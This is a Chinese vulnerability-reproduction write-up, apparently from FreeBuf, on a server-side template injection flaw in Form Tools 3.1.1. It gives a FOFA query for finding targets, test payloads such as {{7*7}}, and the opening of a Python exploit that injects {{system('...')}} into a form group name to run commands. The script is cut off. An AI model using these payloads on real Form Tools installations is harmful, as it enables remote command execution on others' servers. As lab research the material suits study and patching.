Form Tools 介绍:
Form Tools 是一个功能强大、灵活、免费且开源的 PHP/MySQL 脚本,您可以将其安装在您的网站上以管理您的表单和数据。
漏洞概述:
Form Tools 3.1.1 中的服务器端模板注入 (SSTI) 漏洞允许攻击者通过应用程序添加表单部分下的组名字段运行任意命令。
漏洞版本:
Form Tools 3.1.1
FOFA:
title="Form Tools"
环境搭建:
复现使用虚拟机进行复现,虚拟机镜像为windows server 2019 镜像下载地址如下:
ed2k://|file|cn_windows_server_2019_updated_march_2019_x64_dvd_c1ffb46c.iso|5347280896|49FCF8C558517608537E0396854560D6|/
下载完成,使用vmware 搭建,并关闭防火墙
下载小皮面板安装。下载地址如下:
https://public.xp.cn/upgrades/phpStudy_64.zip
默认安装到C盘即可安装完成如下:
点击网站将默认的网站删除,新建一个网站域名填上靶机ip 即可
点击确定后搭建完成,下载Form Tools 3.1.1,下载地址如下:
https://formtools.org/download/packages/Formtools-3.1.1-02202026.zip
放入网站根目录并解压
新建一个数据库
访问目标地址
已知继续继续
点击创建
此时环境搭建完成
漏洞复现:
该漏洞利用需要进入后台
点击添加表格,内部
漏洞存在于点击处
输入{{7*7}}并更新得到计算结果
可以看到执行计算后的结果,尝试{{7*'7'}} 同样可以返回结果
因此可确定类型是Jinja2 或者Twig,使用如下模板注入查看版本
{$smarty.version}
由于模板注入大多数针对的是linux 系统,索性就在linux 上用宝塔重新搭建了一下,前面步骤一致
使用脚本执行命令
CVE-2024–22722.py
import re import json import argparse from urllib.parse import urljoin, urlparse, parse_qs import requests # ----------------------- # Config # ----------------------- BASE = "http://192.168.41.129" # Default value, will be overridden by command line args # Login LOGIN_URL = "" LANDING_URL = "" USERNAME = "admin" # Default value, will be overridden by command line args PASSWORD = "123456" # Default value, will be overridden by command line args # Form creation FORM_NAME = "Test01" NUM_FIELDS = 5 ACCESS_TYPE = "admin" # After form creation, server redirects to /admin/forms/edit/?form_id=...&message=... VERIFY_AFTER_ADD = "" # Will be set in main() based on command line args # View Group creation (AJAX) ACTIONS_URL = "" # Will be set in main() based on command line args # Optional: route through Burp in a lab USE_BURP = False PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} COMMON_HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", } # Debug toggle (set via --debug) DEBUG = False # --------- Hardcoded naming convention --------- NAME_PREFIX = "{{system('" NAME_SUFFIX = "')}}" # ----------------------------------------------- # ----------------------- # Helpers # ----------------------- def log(msg: str): print(f"[+] {msg}") def dlog(msg: str): if DEBUG: print(f"[D] {msg}") def show_redirects(resp: requests.Response): for
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)